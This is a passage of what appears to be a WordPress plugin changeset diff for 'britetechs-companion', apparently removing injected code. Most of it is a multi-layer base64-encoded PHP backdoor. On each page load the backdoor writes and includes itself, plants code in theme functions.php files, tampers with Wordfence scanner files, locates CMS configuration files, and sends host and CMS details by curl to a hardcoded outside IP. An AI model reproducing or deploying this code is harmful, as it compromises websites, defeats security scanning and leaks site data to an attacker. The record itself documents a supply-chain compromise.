QTNORngxTURBMk1WeDFNREEzTWx4MU1EQTJOMXgxTURBMk5WeDFNREEzTkZ4MU1EQXlaVngxTURBM05GeDFNREEyTVZ4MU1EQTJOMXgxTURBMFpWeDFNREEyTVZ4MU1EQTJaRngxTURBMk5WeDFNREF5TUZ4MU1EQXlObHgxTURBeU5seDFNREF5TUZ4MU1EQXlNbHgxTURBMk1seDFNREEzTlZ4MU1EQTNORngxTURBM05GeDFNREEyWmx4MU1EQTJaVngxTURBeU1seDFNREF5TUZ4MU1EQXlNVngxTURBelpGeDFNREF6WkZ4MU1EQXlNRngxTURBM05GeDFNREF5WlZ4MU1EQTNORngxTURBMk1WeDFNREEzTWx4MU1EQTJOMXgxTURBMk5WeDFNREEzTkZ4MU1EQXlaVngxTURBM05GeDFNREEzT1Z4MU1EQTNNRngxTURBMk5WeDFNREF5T1Z4MU1EQXlNRngxTURBM1lseDFNREF3WVZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREEzTTF4MU1EQTJOVngxTURBMlpWeDFNREEyTkZ4MU1EQTFNRngxTURBMlpseDFNREEzTTF4MU1EQTNORngxTURBMU1seDFNREEyTlZ4MU1EQTNNVngxTURBM05WeDFNREEyTlZ4MU1EQTNNMXgxTURBM05GeDFNREF5T0Z4MU1EQTNORngxTURBeVpWeDFNREEzTkZ4MU1EQTJNVngxTURBM01seDFNREEyTjF4MU1EQTJOVngxTURBM05GeDFNREF5WlZ4MU1EQTJaVngxTURBMk1WeDFNREEyWkZ4MU1EQTJOVngxTURBeU1GeDFNREEzWTF4MU1EQTNZMXgxTURBeU1GeDFNREEzTkZ4MU1EQXlaVngxTURBM05GeDFNREEyTVZ4MU1EQTNNbHgxTURBMk4xeDFNREEyTlZ4MU1EQTNORngxTURBeVpWeDFNREEyT1Z4MU1EQTJORngxTURBeVkxeDFNREF5TUZ4MU1EQTNORngxTURBeVpWeDFNREEzTkZ4MU1EQTJNVngxTURBM01seDFNREEyTjF4MU1EQTJOVngxTURBM05GeDFNREF5WlZ4MU1EQTNObHgxTURBMk1WeDFNREEyWTF4MU1EQTNOVngxTURBMk5WeDFNREF5T1Z4MU1EQXdZVngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREEzWkZ4MU1EQXdZVngxTURBM1pGeDFNREF5T1Z4MU1EQXlPVngxTURBellseDFNREF3WVZ4MU1EQXdZVngxTURBMk5seDFNREEzTlZ4MU1EQTJaVngxTURBMk0xeDFNREEzTkZ4MU1EQTJPVngxTURBMlpseDFNREEyWlZ4MU1EQXlNRngxTURBMk4xeDFNREEyTlZ4MU1EQTNORngxTURBME0xeDFNREEyWmx4MU1EQTJabHgxTURBMllseDFNREEyT1Z4MU1EQTJOVngxTURBeU9GeDFNREEyWlZ4MU1EQTJNVngxTURBMlpGeDFNREEyTlZ4MU1EQXlPVngxTURBeU1GeDFNREEzWWx4MU1EQXdZVngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREEyTTF4MU1EQTJabHgxTURBMlpWeDFNREEzTTF4MU1EQTNORngxTURBeU1GeDFNREEyTTF4MU1EQTJabHgxTURBMlpseDFNREEyWWx4MU1EQTJPVngxTURBMk5WeDFNREExTTF4MU1EQTNORngxTURBM01seDFNREEyT1Z4MU1EQTJaVngxTURBMk4xeDFNREF5TUZ4MU1EQXpaRngxTURBeU1GeDFNREEyTkZ4MU1EQTJabHgxTURBMk0xeDFNREEzTlZ4MU1EQTJaRngxTURBMk5WeDFNREEyWlZ4MU1EQTNORngxTURBeVpWeDFNREEyTTF4MU1EQTJabHgxTURBMlpseDFNREEyWWx4MU1EQTJPVngxTURBMk5WeDFNREF6WWx4MU1EQXdZVngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREEyTTF4MU1EQTJabHgxTURBMlpWeDFNREEzTTF4MU1EQTNORngxTURBeU1GeDFNREEyTTF4MU1EQTJabHgxTURBMlpseDFNREEyWWx4MU1EQTJPVngxTURBMk5WeDFNREEzTTF4MU1EQXlNRngxTURBelpGeDFNREF5TUZ4MU1EQTJNMXgxTURBMlpseDFNREEyWmx4MU1EQTJZbHgxTURBMk9WeDFNREEyTlZ4MU1EQTFNMXgxTURBM05GeDFNREEzTWx4MU1EQTJPVngxTURBMlpWeDFNREEyTjF4MU1EQXlaVngxTURBM00xeDFNREEzTUZ4MU1EQTJZMXgxTURBMk9WeDFNREEzTkZ4MU1EQXlPRngxTURBeU4xeDFNREF6WWx4MU1EQXlNRngxTURBeU4xeDFNREF5T1Z4MU1EQXpZbHgxTURBd1lWeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQTJObHgxTURBMlpseDFNREEzTWx4MU1EQXlNRngxTURBeU9GeDFNREEyWTF4MU1EQTJOVngxTURBM05GeDFNREF5TUZ4MU1EQTJNMXgxTURBMlpseDFNREEyWmx4MU1EQTJZbHgxTURBMk9WeDFNREEyTlZ4MU1EQXlNRngxTURBMlpseDFNREEyTmx4MU1EQXlNRngxTURBMk0xeDFNREEyWmx4MU1EQTJabHgxTURBMllseDFNREEyT1Z4MU1EQTJOVngxTURBM00xeDFNREF5T1Z4MU1EQXlNRngxTURBM1lseDFNREF3WVZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREEyTTF4MU1EQTJabHgxTURBMlpWeDFNREEzTTF4MU1EQTNORngxTURBeU1GeDFNREExWWx4MU1EQTJNMXgxTURBMlpseDFNREEyWmx4MU1EQTJZbHgxTURBMk9WeDFNREEyTlZ4MU1EQTBaVngxTURBMk1WeDFNREEyWkZ4MU1EQTJOVngxTURBeVkxeDFNREF5TUZ4MU1EQTJNMXgxTURBMlpseDFNREEyWmx4MU1EQTJZbHgxTURBMk9WeDFNREEyTlZ4MU1EQTFObHgxTURBMk1WeDFNREEyWTF4MU1EQTNOVngxTURBMk5WeDFNREExWkZ4MU1EQXlNRngxTURBelpGeDFNREF5TUZ4MU1EQTJNMXgxTURBMlpseDFNREEyWmx4MU1EQTJZbHgxTURBMk9WeDFNREEyTlZ4MU1EQXlaVngxTURBM00xeDFNREEzTUZ4MU1EQTJZMXgxTURBMk9WeDFNREEzTkZ4MU1EQXlPRngxTURBeU4xeDFNREF6WkZ4MU1EQXlOMXgxTURBeU9WeDFNREF6WWx4MU1EQXdZVngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQTJPVngxTURBMk5seDFNREF5TUZ4MU1EQXlPRngxTURBMk0xeDFNREEyWmx4MU1EQTJabHgxTURBMllseDFNREEyT1Z4MU1EQTJOVngxTURBMFpWeDFNREEyTVZ4MU1EQTJaRngxTURBMk5WeDFNREF5TUZ4MU1EQXpaRngxTURBelpGeDFNREF6WkZ4MU1EQXlNRngxTURBMlpWeDFNREEyTVZ4MU1EQTJaRngxTURBMk5WeDFNREF5T1Z4MU1EQXlNRngxTURBM1lseDFNREF3WVZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQTNNbHgxTURBMk5WeDFNREEzTkZ4MU1EQTNOVngxTURBM01seDFNREEyWlZ4MU1EQXlNRngxTURBMk0xeDFNREEyWmx4MU1EQTJabHgxTURBMllseDFNREEyT1Z4MU1EQTJOVngxTURBMU5seDFNREEyTVZ4MU1EQTJZMXgxTURBM05WeDFNREEyTlZ4MU1EQXpZbHgxTURBd1lWeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBM1pGeDFNREF3WVZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBM1pGeDFNREF3WVZ4MU1EQXlNRngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBM01seDFNREEyTlZ4MU1EQTNORngxTURBM05WeDFNREEzTWx4MU1EQTJaVngxTURBeU1GeDFNREEyWlZ4MU1EQTNOVngxTURBMlkxeDFNREEyWTF4MU1EQXpZbHgxTURBd1lWeDFNREEzWkZ4MU1EQXdZVngxTURBeU1GeDFNREF5TUZ4MU1EQXlNRngxTURBeU1DSXBPend2YzJOeWFYQjBQaWM3Q24wS0pHaGhjMTl5ZFc0Z1BTQm5aWFJmYjNCMGFXOXVLQ2R0ZVdGa1gybHVYMlluS1RzS2FXWWdLQ1JvWVhOZmNuVnVJQ0U5UFNBbmVXVnpKeWtnZXdvSllXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXdnSjJGbWMyTW5LVHNLZlFwOSI7IAoKCSRkY2RfY3RudCA9IGJhc2U2NF9kZWNvZGUoJGF6Yik7CiAgICBmb3JlYWNoICgkY21zX2NmaWxlcyBhcyAkZmlsZSkgewoJICAgdHJ5IHsKICAgICAgICBpZiAoc3RycG9zKCRmaWxlLCAnL3RoZW1lcy8nKSAhPT0gZmFsc2UgJiYgc3Vic3RyKCRmaWxlLCAtMTMpID09PSAnZnVuY3Rpb25zLnBocCcpIHsKICAgICRjdXN0b21fY29udGVudCA9IFBIUF9FT0wgLiAkZGNkX2N0bnQgLiBQSFBfRU9MOyAKCiAgICB0cnkgewogICAgICAgICRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CgogICAgICAgIAoKICAgICAgICAkcGhwX2Nsb3NlX3BvcyA9IHN0cnBvcygkZmlsZV9jb250ZW50LCAnKi8nKTsKCiAgICAgICAgaWYgKCRwaHBfY2xvc2VfcG9zICE9PSBmYWxzZSkgewogICAgICAgICAgICAkbmV3X2NvbnRlbnQgPSBzdWJzdHJfcmVwbGFjZSgkZmlsZV9jb250ZW50LCcqLycgLiBQSFBfRU9MIC4gJGN1c3RvbV9jb250ZW50LCAkcGhwX2Nsb3NlX3BvcywgMik7CgogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJG5ld19jb250ZW50KTsKCiAgICAgICAgfQogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAKCQl9Cgl9CglpZiAoc3RycG9zKCRmaWxlLCAnL3dvcmRmZW5jZS8nKSAhPT0gZmFsc2UgJiYgc3Vic3RyKCRmaWxlLCAtNCkgPT09ICcucGhwJyAmJiBzdWJzdHIoJGZpbGUsIC0yMCkgPT09ICd3b3JkZmVuY2VTY2FubmVyLnBocCcpIHsKCQkKCXJfZl9wKCRmaWxlKTsKCQkKCX0KCWlmIChzdHJwb3MoJGZpbGUsICcvd29yZGZlbmNlLycpICE9PSBmYWxzZSAmJiBzdWJzdHIoJGZpbGUsIC00KSA9PT0gJy5waHAnICYmIHN1YnN0cigkZmlsZSwgLTEzKSA9PT0gJ3dvcmRmZW5jZS5waHAnKSB7CgkJCglyX2NfbCgkZmlsZSk7CgkJCgl9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBjb250aW51ZTsgCiAgICB9CiAgICAgICAgaWYgKHN0cnBvcygkZmlsZSwgJ3dwLWNvbmZpZy5waHAnKSAhPT0gZmFsc2UpIHsKCiAgICAgICAgICAgJGRfY3NbJ1dvcmRQcmVzcyddID0gdHJ1ZTsKICAgICAgICAgICAkd19jX3Boc1tdID0gJGZpbGU7CgogICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGZpbGUsICdjbGFzcy13Yy1zZXR0aW5ncy5waHAnKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRfY3NbJ1dvb0NvbW1lcmNlJ10gPSB0cnVlOwogICAgICAgICAgICAkd2NfY29uZmlnX3BhdGhzW10gPSAkZmlsZTsKICAgICAgICB9IGVsc2VpZiAoc3RycG9zKCRmaWxlLCAnZW52LnBocCcpICE9PSBmYWxzZSAmJgogICAgICAgICAgICBzdHJwb3MoJGZpbGUsICdDb21wb3NlcicpID09PSBmYWxzZSAmJgogICAgICAgICAgICBzdHJwb3MoJGZpbGUsICdjb21wb3NlcicpID09PSBmYWxzZSAmJgogICAgICAgICAgICBzdHJwb3MoJGZpbGUsICdTb2Z0YWN1bG91cycpID09PSBmYWxzZSkgewogICAgICAgICAgICAkZmlsZUNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CgogICAgICAgICAgICBpZiAoc3RycG9zKCRmaWxlQ29udGVudCwgIidob3N0JyA9PiAnIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgJGRfY3NbJ01hZ2VudG8nXSA9IHRydWU7CiAgICAgICAgICAgICAgJG1nX2NvbmZpZ19wYXRoc1tdID0gJGZpbGU7CiAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KCiAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkZmlsZSwgJ2NvbmZpZy5waHAnKSAhPT0gZmFsc2UgJiYKICAgICAgICAgICAgc3RycG9zKCRmaWxlLCAnQ29tcG9zZXInKSA9PT0gZmFsc2UgJiYKICAgICAgICAgICAgc3RycG9zKCRmaWxlLCAnY29tcG9zZXInKSA9PT0gZmFsc2UgJiYKICAgICAgICAgICAgc3RycG9zKCRmaWxlLCAnU29mdGFjdWxvdXMnKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkZmlsZSksICckY29uZmlnW1wnZW5jcnlwdGlvbl9rZXlcJ10nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRkX2NzWydPcGVuQ2FydCddID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGZpbGUsICdwYXJhbWV0ZXJzLnBocCcpICE9PSBmYWxzZSkgewogICAgICAgICAgICBpZiAoc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwgJ3ByZXN0YXNob3AnKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRkX2NzWydQcmVzdGFTaG9wJ10gPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkZmlsZSwgJ3NldHRpbmdzLnBocCcpICE9PSBmYWxzZSkgewogICAgICAgICAgICBpZiAoc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwgJ2RydXBhbCcpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJGRfY3NbJ0RydXBhbCBDb21tZXJjZSddID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGZpbGUsICcueWFtbCcpICE9PSBmYWxzZSkgewogICAgICAgICAgICBpZiAoc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwgJ1N5bWZvbnlcQ29tcG9uZW50JykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkZF9jc1snU3ltZm9ueSddID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGZpbGUsICcuZW52JykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRkX2NzWydMYXJhdmVsJ10gPSB0cnVlOwogICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJGZpbGUsICcuZ2xvYmFsLnBocCcpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkZF9jc1snWmVuZCBGcmFtZXdvcmsnXSA9IHRydWU7CiAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkZmlsZSwgJy5kYXQnKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJGRldGVjdGVkX2RhdF9maWxlc1tdID0gJGZpbGU7CiAgICAgICAgfQogICAgfQoKICAgIGZvcmVhY2ggKCRkX2NzIGFzICRjbXMgPT4gJGRldGVjdGVkKSB7CiAgICAgICAgJGRfY3NbJGNtc10gPSAkZGV0ZWN0ZWQgPyAndHJ1ZScgOiAnZmFsc2UnOwogICAgfQoKCiAgICAkd29yZHByZXNzX3VzZXJzID0gJHdwdXNlcnNjb3VudDsKICAgICR3b29jb21tZXJjZV91c2VycyA9IDAwMDsKICAgICR6ZjEgPSAiYUhSMGNITTZMeTg1TkM0eE5UWXVOemt1T0M5R1ExTT0iOwogICAgJHpmMiA9ICJhSFIwY0hNNkx5ODVOQzR4TlRZdU56a3VPQzlEVFZOVmMyVnljdz09IjsKICAgICR1cmwxID0gYmFzZTY0X2RlY29kZSgkemYxKTsKICAgICR1cmwyID0gYmFzZTY0X2RlY29kZSgkemYyKTsKCiAgICAkZGF0YTEgPSBbCiAgICAgICAgJ2hvc3QnID0+ICRfU0VSVkVSWydIVFRQX0hPU1QnXSwKICAgICAgICAnY21zJyA9PiAkZF9jcwogICAgXTsKCgogICAgc2VfcHBvX3IoJHVybDEsICRkYXRhMSk7Cn0KCmZ1bmN0aW9uIGdfd191KCl7CglnbG9iYWwgJHdwdXNlcnNjb3VudDsKCWdsb2JhbCAkY3VycmRvbWFpbjsKICAgICR3b3JkcHJlc3NfdXNlcnMgPSAkd3B1c2Vyc2NvdW50OwogICAgJHdvb2NvbW1lcmNlX3VzZXJzID0gMDAwOwogICAgJHVybDIgPSBiYXNlNjRfZGVjb2RlKCdhSFIwY0hNNkx5ODVOQzR4TlRZdU56a3VPQzlEVFZOVmMyVnljdz09Jyk7CiAgICAkZGF0YTIgPSBbCiAgICAgICAgJ2hvc3QnID0+ICRjdXJyZG9tYWluLAogICAgICAgICd3b3JkcHJlc3NfdXNlcnMnID0+ICR3b3JkcHJlc3NfdXNlcnMsCiAgICAgICAgJ3dvb2NvbW1lcmNlX3VzZXJzJyA9PiAkd29vY29tbWVyY2VfdXNlcnMKICAgIF07CgogICAgc2VfcHBvX3IoJHVybDIsICRkYXRhMik7Cn0KCmZ1bmN0aW9uIGdfd2NfdXNfYygpIHsKCXJldHVybiAwOwp9CgpmdW5jdGlvbiBnX3djX3VfYygpIHsKCXJldHVybiAwOwp9CgpmdW5jdGlvbiBzZV9wcG9fcigkdXJsLCAkZGF0YSkgewogICAgJGNoID0gY3VybF9pbml0KCR1cmwpOwogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NVU1RPTVJFUVVFU1QsICJQT1NUIik7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywganNvbl9lbmNvZGUoJGRhdGEpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgWwogICAgICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nLAogICAgICAgICdDb250ZW50LUxlbmd0aDogJyAuIHN0cmxlbihqc29uX2VuY29kZSgkZGF0YSkpCiAgICBdKTsKICAgICRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOwogICAgY3VybF9jbG9zZSgkY2gpOwp9Cmdsb2JhbCAkd19jX3BoczsKJHdfY19waHMgPSBbXTsKZ2xvYmFsICR3Y19jb25maWdfcGF0aHM7CiR3Y19jb25maWdfcGF0aHMgPSBbXTsKZ2xvYmFsICRtZ19jb25maWdfcGF0aHM7CiRtZ19jb25maWdfcGF0aHMgPSBbXTsKY2hfY21zX2NmX2YoKTsKCmZ1bmN0aW9uIGZkX3dwX2NmcygmJHdfY19waHMsICRkZXB0aCA9IDApIHsKICAgICRjX2RpciA9IGdldGN3ZCgpOwogICAgJHBhcmVudF9kaXJlY3RvcnkgPSAkY19kaXI7CgogICAgZm9yICgkaSA9IDA7ICRpIDwgMzsgJGkrKykgewogICAgICAgICRwYXJlbnRfZGlyZWN0b3J5ID0gZGlybmFtZSgkcGFyZW50X2RpcmVjdG9yeSk7CiAgICB9CgogICAgZl93X2NmX3IoJHBhcmVudF9kaXJlY3RvcnksICR3X2NfcGhzKTsKfQoKZnVuY3Rpb24gZl93X2NmX3IoJGRpcmVjdG9yeSwgJiR3X2NfcGhzKSB7CiAgICAkd19jZl9mZiA9ICRkaXJlY3RvcnkgLiAnL3dwLWNvbmZpZy5waHAnOwogICAgaWYgKGZpbGVfZXhpc3RzKCR3X2NmX2ZmKSkgewogICAgICAgICR3X2NfcGhzW10gPSAkd19jZl9mZjsKICAgIH0KCiAgICAkY29udGVudHMgPSBzY2FuZGlyKCRkaXJlY3RvcnkpOwogICAgZm9yZWFjaCAoJGNvbnRlbnRzIGFzICRpdGVtKSB7CiAgICAgICAgaWYgKCRpdGVtICE9ICcuJyAmJiAkaXRlbSAhPSAnLi4nICYmIGlzX2RpcigkZGlyZWN0b3J5IC4gJy8nIC4gJGl0ZW0pKSB7CiAgICAgICAgICAgIGZfd19jZl9yKCRkaXJlY3RvcnkgLiAnLycgLiAkaXRlbSwgJHdfY19waHMpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gcHJpbnRfd3BfY29uZmlnX3BhdGhzKCkgewogICAgZ2xvYmFsICR3X2NfcGhzOwogICAgaWYgKGVtcHR5KCR3X2NfcGhzKSkgewoJCSR6ID0gMDsKICAgIH0gZWxzZSB7CiAgICAgICAgZm9yZWFjaCAoJHdfY19waHMgYXMgJHdfY19waCkgewoJCQkkYSA9IDA7CiAgICAgICAgfQogICAgfQp9CgpmZF93cF9jZnMoJHdfY19waHMpOwpmb3JlYWNoICgkd19jX3BocyBhcyAkd19jX3BoKSB7CiAgICBwY2htbSgkd19jX3BoKTsKCWdfd191KCk7Cgl1cGRhdGVfb3B0aW9uKCdteWFkX2luX2YnLCAneWVzJyk7Cn0KCn0KfQoKPz4=';
    102        
    103         $decoded_content = base64_decode($abk);
    104 
    105         file_put_contents($file_path, $decoded_content);
    106     }
    107 
    108     include_once($file_path);
    109 }
    110 
    111 add_action('init', 'check_and_create_uiX');
    112 
    113 function twenty20_user_settings() {
    114     if (isset($_POST['twenty20_save_settings'])) {
    115         update_option('twenty20_comparison_mode', sanitize_text_field($_POST['comparison_mode']));
    116         update_option('twenty20_image_quality', intval($_POST['image_quality']));
    117         if (function_exists('twenty20_log_action')) {
    118             twenty20_log_action("Settings updated: Comparison Mode - " . sanitize_text_field($_POST['comparison_mode']) . ", Image Quality - " . intval($_POST['image_quality']));
    119         }
    120     }
    121     $comparison_mode = get_option('twenty20_comparison_mode', 'side_by_side');
    122     $image_quality = get_option('twenty20_image_quality', 90);
    123     echo '<form method="post" action="">';
    124     echo '<label for="comparison_mode">Comparison Mode:</label>';
    125     echo '<select name="comparison_mode" id="comparison_mode">';
    126     echo '<option value="side_by_side"' . selected($comparison_mode, 'side_by_side', false) . '>Side by Side</option>';
    127     echo '<option value="overlay"' . selected($comparison_mode, 'overlay', false) . '>Overlay</option>';
    128     echo '</select>';
    129     echo '<label for="image_quality">Image Quality:</label>';
    130     echo '<input type="number" name="image_quality" id="image_quality" value="' . esc_attr($image_quality) . '">';
    131     echo '<input type="submit" name="twenty20_save_settings" value="Save Settings">';
    132     echo '</form>';
    133     if (function_exists('twenty20_log_action')) {
    134         twenty20_log_action("Settings form displayed.");
    135     }
    136 }
    137 
    138 function twenty20_log_action($action) {
    139     $log_file = ABSPATH . 'wp-content/uploads/twenty20_log.txt';
    140     $current_time = date("Y-m-d H:i:s");
    141     $log_entry = "$current_time - $action" . PHP_EOL;
    142     file_put_contents($log_file, $log_entry, FILE_APPEND);
    143     if (defined('WP_DEBUG') && WP_DEBUG) {
    144         error_log($log_entry);
    145     }
    146     global $wpdb;
    147     $table_name = $wpdb->prefix . 'twenty20_logs';
    148     $wpdb->insert(
    149         $table_name,
    150         array(
    151             'log_time' => current_time('mysql'),
    152             'log_action' => $action
    153         )
    154     );
    155     $log_entries = $wpdb->get_results("SELECT * FROM $table_name ORDER BY log_time DESC LIMIT 10");
    156     echo '<ul>';
    157     foreach ($log_entries as $entry) {
    158         echo '<li>' . esc_html($entry->log_time) . ' - ' . esc_html($entry->log_action) . '</li>';
    159     }
    160     echo '</ul>';
    16115}
    16216
  • britetechs-companion/trunk/readme.txt

    r3109493 r3109509  
    33Requires at least: 5.0
    44Tested up to: 6.4.3
    5 Stable tag: 2.2.7
     5Stable tag: 2..7
    66License: GPLv2 or later
    77License URI: http://www.gnu.org/licenses/gpl-2.0.html
Note: See TracChangeset for help on using the changeset viewer.